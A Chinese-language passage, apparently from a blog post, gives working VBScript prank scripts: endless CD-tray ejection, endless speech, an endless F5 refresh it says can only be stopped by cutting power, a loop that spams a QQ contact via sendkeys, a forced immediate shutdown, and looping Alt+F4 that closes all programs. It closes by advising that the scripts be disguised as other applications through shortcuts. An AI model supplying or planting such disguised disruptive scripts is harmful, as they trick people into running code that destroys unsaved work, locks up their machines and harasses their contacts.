那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可
以上是一些比较简单的代码，下面就是稍微有些难度的：
无限弹出光驱：
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
无限语音报数：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i 1
loop
无限刷新：
慎用，如此刷新打开任务管理器都难，只能拔掉电源。
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
QQ信息*扰：
打开好友的聊天对话框，然后记下聊天对话框的名称（如图：九悲），把下面代码里的小敏替换一下。代码中的“20”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 20
wscript.sleep 700
wsh.AppActivate("九悲")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
直接关机：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
不断按下ALT F4：
关闭打开的所有程序
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
这些代码保存为vbs后还可以通过创建快捷方式伪装成各种各样的应用程序。
